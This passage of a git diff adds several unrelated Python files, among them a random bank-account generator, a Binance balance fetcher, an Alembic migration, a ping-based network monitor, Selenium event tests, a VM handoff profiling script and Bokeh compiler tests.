'qless-py-workers')) + + def kill(self, jid): + '''The best way to do this is to fall on our sword''' + if jid == self.jid: + exit(1) + + def run(self): + '''Run jobs, popping one after another''' + # Register our signal handlers + self.signals() + + with self.listener(): + for job in self.jobs(): + # If there was no job to be had, we should sleep a little bit + if not job: + self.jid = None + self.title('Sleeping for %fs' % self.interval) + time.sleep(self.interval) + else: + self.jid = job.jid + self.title('Working on %s (%s)' % (job.jid, job.klass_name)) + with Worker.sandbox(self.sandbox): + job.sandbox = self.sandbox + job.process() + if self.shutdown: + break diff --git a/pool/shard009/Python/0081270_account_create.py b/pool/shard009/Python/0081270_account_create.py new file mode 100644 index 0000000000000000000000000000000000000000..e9432e83eaec2d85c29610daca492b66ad1d244c --- /dev/null +++ b/pool/shard009/Python/0081270_account_create.py @@ -0,0 +1,78 @@ +import btree,bank,datetime,time,shelve,sys +from btree_errors import * +from random import randint,random +def strTimeProp(start, end, format, prop): + """Get a time at a proportion of a range of two formatted times. + + start and end should be strings specifying times formated in the + given format (strftime-style), giving an interval [start, end]. + prop specifies how a proportion of the interval to be taken after + start. The returned time will be in the specified format. + example: randomDate("1/1/2010 12:00 AM", "1/1/2016 12:00 AM", random.random()) + """ + + stime = time.mktime(time.strptime(start, format)) + etime = time.mktime(time.strptime(end, format)) + + ptime = stime + prop * (etime - stime) + + return time.strftime(format, time.localtime(ptime)) +def randomDate(start, end, prop = random()): + return strTimeProp(start, end, '%m/%d/%Y %I:%M %p', prop) +with open('data/first_names') as fn_f: + fnames = [line.strip() for line in fn_f] +with open('data/last_names') as ln_f: + lnames = [line.strip() for line in ln_f] + +def generate_random_account(): + global fnames,lnames + holder_name = fnames[randint(0,len(fnames)-1)] + ' ' + lnames[randint(0,len(lnames)-1)] + new_acc_no = bank.Account.get_new_acc_no() + my_acc = bank.Account(new_acc_no,holder_name,randomDate("1/1/2009 12:00 AM", "1/1/2010 12:00 AM")) + no_of_trans = randint(3,10) + for t in range(no_of_trans): + amount = randint(500,1000) + if random() <= 0.5: + amount *= -1 + my_acc.make_transaction(bank.Transaction(amount,randomDate("1/1/2010 12:00 AM", "1/1/2016 12:00 AM"))) + return my_acc + #print(my_acc) + #print(new_acc_no,' ',holder_name) + +def create_single_account(my_acc): + """ returns the number of disk accesses taken for account creation """ + #global bank.acc_f_n, bank.bank_f_n + with btree.BTree(bank.bank_f_n) as my_bt, shelve.open(bank.acc_f_n,writeback=True) as ad_sf, open(bank.acc_create_log_f_n,'at',encoding='utf-8') as acc_create_log_f: + try: + no_of_accounts = ad_sf['no_of_accounts'] + except KeyError: + ad_sf['no_of_accounts'] = 0 + no_of_accounts = 0 + my_acc = generate_random_account() + acc_create_log_f.write(my_acc.acc_no + ' ' + my_acc.holder_name + '\n') + ad_sf[str(no_of_accounts+1)] = my_acc + ad_sf['no_of_accounts'] = no_of_accounts+1 + return my_bt.insert_key(my_acc.acc_no,str(no_of_accounts+1)) + +def start_bulk_creation(n): + #global bank.acc_f_n, bank.bank_f_n + """ n = number of accounts to be created. + returns total number of disk accesses taken to insert the n elements. + """ + #sys.stdout = open('data/acc_creation.log','at',encoding='utf-8') + with btree.BTree(bank.bank_f_n) as my_bt, shelve.open(bank.acc_f_n,writeback=True) as ad_sf, open(bank.acc_create_log_f_n,'at',encoding='utf-8') as acc_create_log_f: + try: + no_of_accounts = ad_sf['no_of_accounts'] + except KeyError: + ad_sf['no_of_accounts'] = 0 + no_of_accounts = 0 + i = 0 + d_a_c = 0 + while i < n: + i += 1 + my_acc = generate_random_account() + acc_create_log_f.write(my_acc.acc_no + ' ' + my_acc.holder_name + '\n') + ad_sf[str(no_of_accounts+i)] = my_acc + ad_sf['no_of_accounts'] = no_of_accounts+i + d_a_c += my_bt.insert_key(my_acc.acc_no,str(no_of_accounts+i)) + return d_a_c diff --git a/pool/shard009/Python/0081271_pick_venues.py b/pool/shard009/Python/0081271_pick_venues.py new file mode 100644 index 0000000000000000000000000000000000000000..4313f3bdf5cdea951bc187ce071d357566ee0956 --- /dev/null +++ b/pool/shard009/Python/0081271_pick_venues.py @@ -0,0 +1,37 @@ +import requests +import os +import json +import sys + + +class VenueFinder: + def __init__(self, songkick_api_key): + self.songkick_api_key = songkick_api_key + + def get_nth_biggest_venue(self, city, n): + return sorted(self.get_venues(city), key=lambda x: x["capacity"], reverse=True)[n] + + def get_venues(self, city): + venues = [] + print city + for i in xrange(1,3): + raw_response = requests.get("http://api.songkick.com/api/3.0/search/venues.json?query=" + city + "&page=" + str(i) + "&apikey=" + self.songkick_api_key).text + parsed_response = json.loads(raw_response) + venues += parsed_response["resultsPage"]["results"]["venue"] + + return venues + + +if __name__ == "__main__": + songkick_api_key = os.environ["SONGKICK_API_KEY"] + cities = sys.argv[1:] + venues = [] + vf = VenueFinder(songkick_api_key) + for idx, city in enumerate(cities): + city = city.split("(")[0] + city = " ".join(city.split(" ")[:-1]) + city = city.split("-")[0] + venues.append(vf.get_nth_biggest_venue(city, idx)) + + + print [(x["displayName"], x["id"]) for x in venues] diff --git a/pool/shard009/Python/0081273_binance.py b/pool/shard009/Python/0081273_binance.py new file mode 100644 index 0000000000000000000000000000000000000000..2e14c1975e72326ddf03bedbd73e0de1937832f4 --- /dev/null +++ b/pool/shard009/Python/0081273_binance.py @@ -0,0 +1,51 @@ +import aiohttp +from time import time +import json +from hashlib import sha256 +import hmac + +from .fetcher import Fetcher + + +class BinanceAPI(Fetcher): + + _URL = 'https://api.binance.com/api/v3/' + _KEY = None + _SECRET = None + + def __init__(self, key, secret): + if key is None or secret is None: + raise EnvironmentError("Binance key and secret must be specified in configs") + self._KEY = key + self._SECRET = secret + + def _signature(self, query): + message = query + return hmac.new( + key=self._SECRET.encode(), + msg=message.encode(), + digestmod=sha256 + ).hexdigest().upper() + + async def get_balances(self, loop, symbols, callback=None): + async with aiohttp.ClientSession(loop=loop) as session: + nonce = int(time() * 1000) + query = 'timestamp={}&recvWindow={}'.format(nonce, 30000) + endpoint = self._URL + 'account?' + query + headers = { + 'X-MBX-APIKEY': self._KEY + } + signature = self._signature(query) + endpoint += '&signature={}'.format(signature) + _response = await self._fetch(session=session, url=endpoint, headers=headers) + balances = json.loads(_response).get('balances', []) + result = [] + for balance in balances: + if balance['asset'] in symbols: + result.append( + (balance['asset'], + float(balance.get('locked', 0)) + float(balance.get('free', 0))) + ) + if callback is not None: + callback(result) + return result diff --git a/pool/shard009/Python/0081274_35_a173601e2e8c_.py b/pool/shard009/Python/0081274_35_a173601e2e8c_.py new file mode 100644 index 0000000000000000000000000000000000000000..7aa443e56d7d8761be51b6cc7f16aec0b07eb265 --- /dev/null +++ b/pool/shard009/Python/0081274_35_a173601e2e8c_.py @@ -0,0 +1,46 @@ +""" Add inventory in and inventory out link to calculate profit using FIFO method + +Revision ID: a173601e2e8c +Revises: 5fa54f2ce13c +Create Date: 2017-03-29 07:06:57.758959 + +""" + +# revision identifiers, used by Alembic. +revision = 'a173601e2e8c' +down_revision = '5fa54f2ce13c' + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + # ### commands auto generated by Alembic - please adjust! ### + op.create_table('inventory_in_out_link', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('date', sa.DateTime(), nullable=False), + sa.Column('product_id', sa.Integer(), nullable=False), + sa.Column('in_price', sa.Numeric(precision=8, scale=2, decimal_return_scale=2), nullable=False), + sa.Column('in_date', sa.DateTime(), nullable=False), + sa.Column('receiving_line_id', sa.Integer(), nullable=False), + sa.Column('out_price', sa.Numeric(precision=8, scale=2, decimal_return_scale=2), nullable=False), + sa.Column('out_date', sa.DateTime(), nullable=False), + sa.Column('out_quantity', sa.Numeric(precision=8, scale=2, decimal_return_scale=2), nullable=False), + sa.Column('shipping_line_id', sa.Integer(), nullable=False), + sa.Column('organization_id', sa.Integer(), nullable=True), + sa.Column('remark', sa.Text(), nullable=True), + sa.ForeignKeyConstraint(['organization_id'], ['organization.id'], ), + sa.ForeignKeyConstraint(['product_id'], ['product.id'], ), + sa.ForeignKeyConstraint(['receiving_line_id'], ['receiving_line.id'], ), + sa.ForeignKeyConstraint(['shipping_line_id'], ['shipping_line.id'], ), + sa.PrimaryKeyConstraint('id') + ) + op.add_column(u'inventory_transaction_line', sa.Column('saleable_quantity', sa.Numeric(precision=8, scale=2, decimal_return_scale=2), nullable=True)) + # ### end Alembic commands ### + + +def downgrade(): + # ### commands auto generated by Alembic - please adjust! ### + op.drop_column(u'inventory_transaction_line', 'saleable_quantity') + op.drop_table('inventory_in_out_link') + # ### end Alembic commands ### diff --git a/pool/shard009/Python/0081276_convert_odml_terminologies_to_templates.py b/pool/shard009/Python/0081276_convert_odml_terminologies_to_templates.py new file mode 100644 index 0000000000000000000000000000000000000000..be03fa9a210d50c6a16e7380b3810c6508ae6c19 --- /dev/null +++ b/pool/shard009/Python/0081276_convert_odml_terminologies_to_templates.py @@ -0,0 +1,82 @@ +from xmljson import yahoo as yh +from xml.etree.ElementTree import fromstring +import json +import re +import expipe +import os +import sys + +def convert(name): + s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', name) + return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() + +odml_terminologies_path = sys.argv[1] + +root_path = os.path.join(odml_terminologies_path, "v1.0") +print("This will upload and possibly overwrite all templates on the server. Are you sure? [y/N]:") +choice = input().lower() +if not choice in ["y", "yes", "ye"]: + print("Aborting...") + sys.exit(0) + +for foldername in os.listdir(root_path): + folder_path = os.path.join(root_path, foldername) + if not os.path.isdir(folder_path): + continue + for filename in os.listdir(folder_path): + print("FILENAME", filename) + if not filename.endswith(".xml"): + continue + with open(os.path.join(folder_path, filename)) as f: + xmldata = f.read() + data = yh.data(fromstring(xmldata)) + + if filename in ["blackrock.xml", "stimulusTypes.xml"]: + continue + + name = foldername + "_" + filename.replace(".xml", "") + + data = data['odML']['section'] + result = { + "definition": data["definition"], + "name": data["name"] + } + try: + properties = data["property"] + except KeyError: + print("ERROR on property") + continue + + try: + if not isinstance(properties, list): + properties = [properties] + for prop in properties: + key = convert(prop["name"]) + value = prop["value"] + result[key] = { + "definition": prop["definition"] + } + if isinstance(value, list): + alternatives = {} + for subval in value: + alternatives[subval["content"]] = True + subtype = subval["type"] # TODO might change + result[key]["alternatives"] = alternatives + result[key]["type"] = subtype + else: + result[key]["type"] = value["type"] + result[key]["type"] = result[key]["type"].replace("text", "string") + result[key]["value"] = "" + + template = { + "identifier": name, + } + template_contents = result + del(template_contents["name"]) + + # upload to Firebase (WARNING: this overwrites any changes made on the server!) + expipe.core.db.child("templates").child(name).set(template, expipe.core.user["idToken"]) + expipe.core.db.child("templates_contents").child(name).set(template_contents, expipe.core.user["idToken"]) + except Exception as e: + print("ERROR on something") + print(e) diff --git a/pool/shard009/Python/0081279_netcheck.py b/pool/shard009/Python/0081279_netcheck.py new file mode 100644 index 0000000000000000000000000000000000000000..d6450a3d909714bfb2bd3665ab6d8bbd201ade4b --- /dev/null +++ b/pool/shard009/Python/0081279_netcheck.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python +# +############################################################################### +# - Netcheck - +# +# Author: Joel Eriksson (joel.a.eriksson@gmail.com) +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +############################################################################### + +# Standard libraries +import sys, threading, time, os, json +from optparse import OptionParser +from datetime import datetime + +# Custom libraries +import ping, bottle + +__version__ = "1.0.0" + +############################################################################### +# LOGGING +############################################################################### +class Logger: + def __init__(self, verbose,logfile): + self.verbose = verbose + self.logfile = logfile + self.is_connected = None + try: + self.fo = open(logfile,mode="a",buffering=1) + except Exception: + sys.stderr.write("Unable to open: " + logfile + "\nUse -h for options\n") + exit(3) + + self.log("START") + + def close(self, abnormal = False): + if(not abnormal): + self.log("END") + else: + self.log("END ABNORMAL") + self.fo.close() + + def connected(self, server): + self.console("UP ("+server+")") + if((self.is_connected == None) or (self.is_connected == False)): + self.log("UP") + self.is_connected = True + + def first_choice_disconnected(self, server): + self.console("DOWN ("+server+") - TRYING BACKUP") + + def backup_disconnected(self, server): + self.console("DOWN ("+server+")") + if((self.is_connected == None) or (self.is_connected == True)): + self.log("DOWN") + self.is_connected = False + + def alive(self): + self.log("ALIVE") + + def console(self,message): + if(self.verbose): + print(datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + " " + message) + + def log(self, message): + self.fo.write(datetime.now().strftime("%Y-%m-%d %H:%M:%S") + + " " + message + "\n") + + def get_log(self): + try: + file = open(self.logfile,mode="r") + except Exception: + sys.stderr.write("Unable to open: " + logfile + "\n") + exit(3) + result = [] + for line in file: + words = line.split(" ") + element = { + "date" : words[0], + "time" : words[1], + "event" : words[2].rstrip() + } + result.append(element) + return result + + +############################################################################### +# NETWORK SUPERVISION +############################################################################### +class NetworkSupervision(threading.Thread): + def __init__(self, verbose, logfile, remote, backup, timeout, interval, + alive_interval): + threading.Thread.__init__(self) + self.kill = threading.Event() + self.killed = threading.Event() + self.logger = Logger(verbose, logfile) + self.remote = remote + self.backup = backup + self.timeout = timeout + self.interval = interval + self.alive_interval = alive_interval + + def run(self): + alive_tmo = self.alive_interval * 60 + while not self.kill.is_set(): + if(ping.do_one(self.remote,self.timeout) != None): + self.logger.connected(self.remote) + elif (not self.kill.is_set()): + self.logger.first_choice_disconnected(self.remote) + if(ping.do_one(self.backup,self.timeout) != None): + self.logger.connected(self.backup) + else: + self.logger.backup_disconnected(self.backup) + self.kill.wait(self.interval) + alive_tmo = alive_tmo - self.interval + if(alive_tmo <= 0): + self.logger.alive() + alive_tmo = self.alive_interval * 60 + + self.killed.set() + + def stop(self, abnormal = False): + self.kill.set() # Order thread exit main loop + self.killed.wait() # Wait for until thread has exited + self.logger.close(abnormal) + + def get_status(self): + return self.logger.is_connected + + def get_log(self): + return self.logger.get_log() + + +############################################################################### +# WEB API +############################################################################### +class WebAPI: + def __init__(self, host, port, network_supervision): + self.host = host + self.port = port + self.ns = network_supervision + self.app = bottle.Bottle() + + self.app.route('/log', method="GET", + callback=self._log) + self.app.route('/status', method="GET", + callback=self._status) + self.app.route('/', method="GET", + callback=self._index) + self.app.route('/', method="GET", + callback=self._file) + + def start(self): + self.app.run(host=self.host, port=self.port) + + def _log(self): + bottle.response.content_type = 'application/json' + return json.dumps(self.ns.get_log()) + + def _status(self): + bottle.response.content_type = 'application/json' + return json.dumps({'connected' : self.ns.get_status()}) + + def _index(self): + return bottle.static_file("index.html", + root=os.path.dirname(__file__) + "/html/") + def _file(self, path): + return bottle.static_file(path, + root=os.path.dirname(__file__) + "/html/") + +############################################################################### +# MAIN PROGRAM +############################################################################### +def main(): + parser = OptionParser() + parser.add_option("-w", "--webapi", dest="ip_address", type="string", + help="Enable Web API", default="") + parser.add_option("-p", "--port", dest="port", type="int", + help="Web API port (default 8081)", default=8081) + parser.add_option("-l", "--log", dest="logfile", type="string", + help="Log file", default="netcheck.log") + parser.add_option("-r", "--remote", dest="remote", type="string", + help="Remote server to ping", default="www.google.com") + parser.add_option("-b", "--backup", dest="backup", type="string", + help="Backup server to ping", default="www.bing.com") + parser.add_option("-i", "--interval", dest="interval", type="float", + help="Ping interval in seconds", default=5) + parser.add_option("-t", "--timeout", dest="timeout", type="float", + help="Ping response timeout in seconds", default=1) + parser.add_option("-a", "--alive", dest="alive_interval", type="int", + help="Alive interval in minutes", default=240) + parser.add_option("-v", "--verbose", dest="verbose", action="store_true", + help="Verbose mode", default=False) + (options, args) = parser.parse_args() + + network_supervision = NetworkSupervision(options.verbose, options.logfile, + options.remote, options.backup, + options.timeout, options.interval, + options.alive_interval + ) + network_supervision.start() + + print("Running NetCheck "+__version__) + + # Check if WebAPI should be started or not + if(options.ip_address != ""): + try: + webApi = WebAPI(options.ip_address, options.port, + network_supervision) + webApi.start() + except Exception as e: + network_supervision.stop(abnormal = True) + sys.stderr.write("Exception in Web API:\n\n") + sys.stderr.write(str(e)+"\n") + exit(3) + else: + print("Hit Ctrl-C to quit.") + try: + time.sleep(600) + except KeyboardInterrupt: + pass + + print("Shutting down (please wait) ...") + + # It will take some time until the network supervision thread exits. + network_supervision.stop() + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard009/Python/0081285_correct_event_firing_tests.py b/pool/shard009/Python/0081285_correct_event_firing_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..26b09960e6e7b95b1b5ac49cb85bc76be9423337 --- /dev/null +++ b/pool/shard009/Python/0081285_correct_event_firing_tests.py @@ -0,0 +1,115 @@ +# Licensed to the Software Freedom Conservancy (SFC) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The SFC licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +import pytest + + +class TestEventFiring(object): + + def testShouldFireClickEventWhenClicking(self, driver, pages): + pages.load("javascriptPage.html") + self._clickOnElementWhichRecordsEvents(driver) + self._assertEventFired(driver, "click") + + def testShouldFireMouseDownEventWhenClicking(self, driver, pages): + pages.load("javascriptPage.html") + self._clickOnElementWhichRecordsEvents(driver) + self._assertEventFired(driver, "mousedown") + + def testShouldFireMouseUpEventWhenClicking(self, driver, pages): + pages.load("javascriptPage.html") + self._clickOnElementWhichRecordsEvents(driver) + self._assertEventFired(driver, "mouseup") + + def testShouldIssueMouseDownEvents(self, driver, pages): + pages.load("javascriptPage.html") + driver.find_element_by_id("mousedown").click() + result = driver.find_element_by_id("result").text + assert result == "mouse down" + + def testShouldIssueClickEvents(self, driver, pages): + pages.load("javascriptPage.html") + driver.find_element_by_id("mouseclick").click() + result = driver.find_element_by_id("result").text + assert result == "mouse click" + + def testShouldIssueMouseUpEvents(self, driver, pages): + pages.load("javascriptPage.html") + driver.find_element_by_id("mouseup").click() + result = driver.find_element_by_id("result").text + assert result == "mouse up" + + def testMouseEventsShouldBubbleUpToContainingElements(self, driver, pages): + pages.load("javascriptPage.html") + driver.find_element_by_id("child").click() + result = driver.find_element_by_id("result").text + assert result == "mouse down" + + def testShouldEmitOnChangeEventsWhenSelectingElements(self, driver, pages): + pages.load("javascriptPage.html") + select = driver.find_element_by_id('selector') + options = select.find_elements_by_tag_name('option') + initialTextValue = driver.find_element_by_id("result").text + + select.click() + assert driver.find_element_by_id("result").text == initialTextValue + options[1].click() + assert driver.find_element_by_id("result").text == "bar" + + def testShouldEmitOnChangeEventsWhenChangingTheStateOfACheckbox(self, driver, pages): + pages.load("javascriptPage.html") + checkbox = driver.find_element_by_id("checkbox") + checkbox.click() + assert driver.find_element_by_id("result").text == "checkbox thing" + + def testShouldEmitClickEventWhenClickingOnATextInputElement(self, driver, pages): + pages.load("javascriptPage.html") + clicker = driver.find_element_by_id("clickField") + clicker.click() + + assert clicker.get_attribute("value") == "Clicked" + + def testClearingAnElementShouldCauseTheOnChangeHandlerToFire(self, driver, pages): + pages.load("javascriptPage.html") + element = driver.find_element_by_id("clearMe") + element.clear() + result = driver.find_element_by_id("result") + assert result.text == "Cleared" + + # TODO Currently Failing and needs fixing + # def testSendingKeysToAnotherElementShouldCauseTheBlurEventToFire(self, driver, pages): + # pages.load("javascriptPage.html") + # element = driver.find_element_by_id("theworks") + # element.send_keys("foo") + # element2 = driver.find_element_by_id("changeable") + # element2.send_keys("bar") + # self._assertEventFired(driver, "blur") + + # TODO Currently Failing and needs fixing + # def testSendingKeysToAnElementShouldCauseTheFocusEventToFire(self, driver, pages): + # pages.load("javascriptPage.html") + # element = driver.find_element_by_id("theworks") + # element.send_keys("foo") + # self._assertEventFired(driver, "focus") + + def _clickOnElementWhichRecordsEvents(self, driver): + driver.find_element_by_id("plainButton").click() + + def _assertEventFired(self, driver, eventName): + result = driver.find_element_by_id("result") + text = result.text + assert eventName in text, "No " + eventName + " fired: " + text diff --git a/pool/shard009/Python/0081293_dynamic-cpu-exhaustive.py b/pool/shard009/Python/0081293_dynamic-cpu-exhaustive.py new file mode 100644 index 0000000000000000000000000000000000000000..49b78e8442f77a0d29731b853708b6d1e53768f4 --- /dev/null +++ b/pool/shard009/Python/0081293_dynamic-cpu-exhaustive.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python + +import os +import sys +sys.path.insert(0, "../../") + +import psutil +import subprocess +import traceback +from datetime import datetime +import json +import time +import threading + +from elijah.provisioning.configuration import Const +Const.LOG_PATH = os.path.join(os.path.abspath(os.curdir), "log-%s" % str(datetime.now())) +from elijah.provisioning import log as logging +LOG = logging.getLogger(__name__) + +from elijah.provisioning.configuration import VMOverlayCreationMode +from elijah.provisioning import synthesis as synthesis +from elijah.provisioning.package import PackagingUtil +from elijah.provisioning.handoff import _handoff_start_time + + +class CPUCoreControl(threading.Thread): + def __init__(self): + self.stop = threading.Event() + # [(time1, [cores]), (time2, [cores]), ...] + self.cpu_bw_changes = [(100.0, [1, 2])] + threading.Thread.__init__(self, target=self.core_change) + + def _set_affinity_chilren(self, core_list): + proc_list = list() + cur_proc = psutil.Process(os.getpid()) + proc_list.append(cur_proc) + while True: + if len(proc_list) == 0: + break + proc = proc_list.pop(0) + if proc.name.startswith("python"): + proc.set_cpu_affinity(core_list) + proc_list += proc.get_children() + LOG.info("control_core\t%s\t%s" % (proc.name, core_list)) + + def core_change(self): + global _handoff_start_time + + (activate_time, core_list) = self.cpu_bw_changes.pop(0) + while(not self.stop.wait(1)): + duration = time.time() - _handoff_start_time[0] + LOG.info("control_core\t%f\t%f\t%s" % (activate_time, duration, core_list)) + if activate_time <= duration: + # change number of core + self._set_affinity_chilren(core_list) + current_cores = VMOverlayCreationMode.get_num_cores() + VMOverlayCreationMode.set_num_cores(len(core_list)) + LOG.info("control_core\t%f\tupdate all children to %s" % (duration, core_list)) + try: + (activate_time, core_list) = self.cpu_bw_changes.pop(0) + except IndexError as e: + LOG.info("control_core\tno more data") + break + else: + continue + LOG.info("control_core\tfinish bw control thread") + + def terminate(self): + self.stop.set() + +def run_file(base_path, overlay_path, overlay_mode): + try: + synthesis.synthesis(base_path, overlay_path, + handoff_url="file://", + zip_container=True, + overlay_mode=overlay_mode, + is_profiling_test=True) + except Exception, e: + sys.stderr.write("%s\n" % str(e)) + sys.stderr.write("%s\nFailed to synthesize" % str(traceback.format_exc())) + + +def run_network(base_path, overlay_path, overlay_mode): + try: + synthesis.synthesis(base_path, overlay_path, + handoff_url="tcp://rain.elijah.cs.cmu.edu", + zip_container=True, + overlay_mode=overlay_mode, + is_profiling_test=True) + except Exception, e: + sys.stderr.write("%s\n" % str(e)) + sys.stderr.write("%s\nFailed to synthesize" % str(traceback.format_exc())) + + +def profiling_workload(num_cores): + mode_list = list() + for comp_type in (Const.COMPRESSION_LZMA, Const.COMPRESSION_BZIP2, Const.COMPRESSION_GZIP): + #for comp_type in [Const.COMPRESSION_GZIP]: + for comp_level in [1, 1, 2, 3, 4, 5, 6, 7, 8, 9]: + #for comp_level in [9, 9]: + overlay_mode = VMOverlayCreationMode.get_pipelined_multi_process_finite_queue(num_cores=num_cores) + overlay_mode.COMPRESSION_ALGORITHM_TYPE = comp_type + overlay_mode.COMPRESSION_ALGORITHM_SPEED = comp_level + overlay_mode.MEMORY_DIFF_ALGORITHM = "none" + overlay_mode.DISK_DIFF_ALGORITHM = "none" + mode_list.append(overlay_mode) + return mode_list + + + + +if __name__ == "__main__": + # set input workloads + linux_base_path = "/home/krha/cloudlet/image/portable/precise.raw" + windows_base_path = "/home/krha/cloudlet/image/window7-enterprise-x86/window7.raw" + face = "/home/krha/cloudlet/image/overlay/vmhandoff/face-overlay.zip" + mar = "/home/krha/cloudlet/image/overlay/vmhandoff/mar-overlay.zip" + moped = "/home/krha/cloudlet/image/overlay/vmhandoff/moped-overlay.zip" + speech = "/home/krha/cloudlet/image/overlay/vmhandoff/speech-overlay.zip" + fluid = "/home/krha/cloudlet/image/overlay/vmhandoff/fluid-overlay.zip" + random = "/home/krha/cloudlet/image/overlay/vmhandoff/overlay-random-100mb.zip" + workloads = [ + (windows_base_path, mar), + #(windows_base_path, face), + #(linux_base_path, moped), + #(linux_base_path, speech), + #(linux_base_path, random), + #(linux_base_path, fluid), + ] + for (base_path, overlay_path) in workloads: + if os.path.exists(base_path) == False: + raise ProfilingError("Invalid path to %s" % base_path) + if os.path.exists(overlay_path) == False: + raise ProfilingError("Invalid path to %s" % overlay_path) + + num_core = 1 + network_bw = 15 + mode_list = profiling_workload(num_core) + + # network BW + cmd = "sudo %s restart %d" % (os.path.abspath("./traffic_shaping"), network_bw) + LOG.debug(cmd) + LOG.debug(subprocess.check_output(cmd.split(" "))) + VMOverlayCreationMode.USE_STATIC_NETWORK_BANDWIDTH = network_bw + + for (base_path, overlay_path) in workloads: + for each_mode in mode_list: + # confiure network using TC + # start controlling number of cores + cpu_control = CPUCoreControl() + cpu_control.start() + + each_mode.set_num_cores(num_core) + LOG.debug("network-test\t%s-%s(Mbps)" % (num_core, network_bw)) + is_url, overlay_url = PackagingUtil.is_zip_contained(overlay_path) + run_network(base_path, overlay_url, each_mode) + + cpu_control.terminate() + cpu_control.join() + time.sleep(30) + diff --git a/pool/shard009/Python/0081300_test_compiler.py b/pool/shard009/Python/0081300_test_compiler.py new file mode 100644 index 0000000000000000000000000000000000000000..e14be4e2f811de5029f36960d97042e3573a00b1 --- /dev/null +++ b/pool/shard009/Python/0081300_test_compiler.py @@ -0,0 +1,190 @@ +#----------------------------------------------------------------------------- +# Copyright (c) 2012 - 2022, Anaconda, Inc., and Bokeh Contributors. +# All rights reserved. +# +# The full license is in the file LICENSE.txt, distributed with this software. +#----------------------------------------------------------------------------- + +#----------------------------------------------------------------------------- +# Boilerplate +#----------------------------------------------------------------------------- +from __future__ import annotations # isort:skip + +import pytest ; pytest + +#----------------------------------------------------------------------------- +# Imports +#----------------------------------------------------------------------------- + +# Standard library imports +import json +import os + +# External imports +from mock import MagicMock, patch + +# Module under test +import bokeh.util.compiler as buc # isort:skip + +#----------------------------------------------------------------------------- +# Setup +#----------------------------------------------------------------------------- + +#----------------------------------------------------------------------------- +# General API +#----------------------------------------------------------------------------- + +def test_nodejs_compile_javascript() -> None: + assert buc.nodejs_compile("""function f(a, b) { return a + b; };""", "javascript", "some.js") == \ + dict(code="""\ +function f(a, b) { return a + b; } +; +""", deps=[]) + + assert buc.nodejs_compile("""const some = require('some/module');""", "javascript", "some.js") == \ + dict(code="""\ +const some = require('some/module'); +""", deps=["some/module"]) + + assert buc.nodejs_compile(""" +const {Model} = require("lib/model"); + +class MyModel extends Model { + static __name__ = 'MyModel'; +} + +exports.MyModel = MyModel; +""", "javascript", "some.js") == \ + dict(code="""\ +const { Model } = require("lib/model"); +class MyModel extends Model { +} +MyModel.__name__ = 'MyModel'; +exports.MyModel = MyModel; +""", + deps=["lib/model"]) + + assert buc.nodejs_compile("""function f(a, b) { eturn a + b; };""", "javascript", "some.js") == \ + dict(error= + '\x1b[96msome.js\x1b[0m:\x1b[93m1\x1b[0m:\x1b[93m20\x1b[0m - ' + '\x1b[91merror\x1b[0m\x1b[90m TS1435: \x1b[0mUnknown keyword or ' + "identifier. Did you mean 'return'?\n" + '\n' + '\x1b[7m1\x1b[0m function f(a, b) { eturn a + b; };\n' + '\x1b[7m \x1b[0m \x1b[91m ~~~~~\x1b[0m\n' + ) + +def test_nodejs_compile_less() -> None: + assert buc.nodejs_compile(""".bk-some-style { color: mix(#ff0000, #0000ff, 50%); }""", "less", "some.less") == \ + dict(code=""".bk-some-style{color:#800080}""") + + assert buc.nodejs_compile(""".bk-some-style color: green; }""", "less", "some.less") == \ + dict(error="ParseError: Unrecognised input in some.less on line 1, column 21:\n1 .bk-some-style color: green; }\n") + +def test_Implementation() -> None: + obj = buc.Implementation() + assert obj.file == None + +def test_Inline() -> None: + obj = buc.Inline("code") + assert obj.code == "code" + assert obj.file == None + + obj = buc.Inline("code", "file") + assert obj.code == "code" + assert obj.file == "file" + +def test_TypeScript() -> None: + obj = buc.TypeScript("code") + assert isinstance(obj, buc.Inline) + assert obj.code == "code" + assert obj.file == None + assert obj.lang == "typescript" + +def test_JavaScript() -> None: + obj = buc.JavaScript("code") + assert isinstance(obj, buc.Inline) + assert obj.code == "code" + assert obj.file == None + assert obj.lang == "javascript" + +def test_Less() -> None: + obj = buc.Less("code") + assert isinstance(obj, buc.Inline) + assert obj.code == "code" + assert obj.file == None + assert obj.lang == "less" + +@patch("builtins.open") +def test_FromFile(mock_open: MagicMock) -> None: + obj = buc.FromFile("path.ts") + assert obj.lang == "typescript" + + obj = buc.FromFile("path.js") + assert obj.lang == "javascript" + + obj = buc.FromFile("path.css") + assert obj.lang == "less" + + obj = buc.FromFile("path.less") + assert obj.lang == "less" + +def test_exts() -> None: + assert buc.exts == (".ts", ".js", ".css", ".less") + +def test_jsons() -> None: + for file in os.listdir(os.path.join(buc.bokehjs_dir, "js")): + if file.endswith('.json'): + with open(os.path.join(buc.bokehjs_dir, "js", file), encoding="utf-8") as f: + assert all(['\\' not in mod for mod in json.loads(f.read())]) + +def test_inline_extension() -> None: + from bokeh.io import save + from bokeh.models import TickFormatter + from bokeh.plotting import figure + from bokeh.util.compiler import TypeScript + + TS_CODE = """ + import {TickFormatter} from "models/formatters/tick_formatter" + + export class 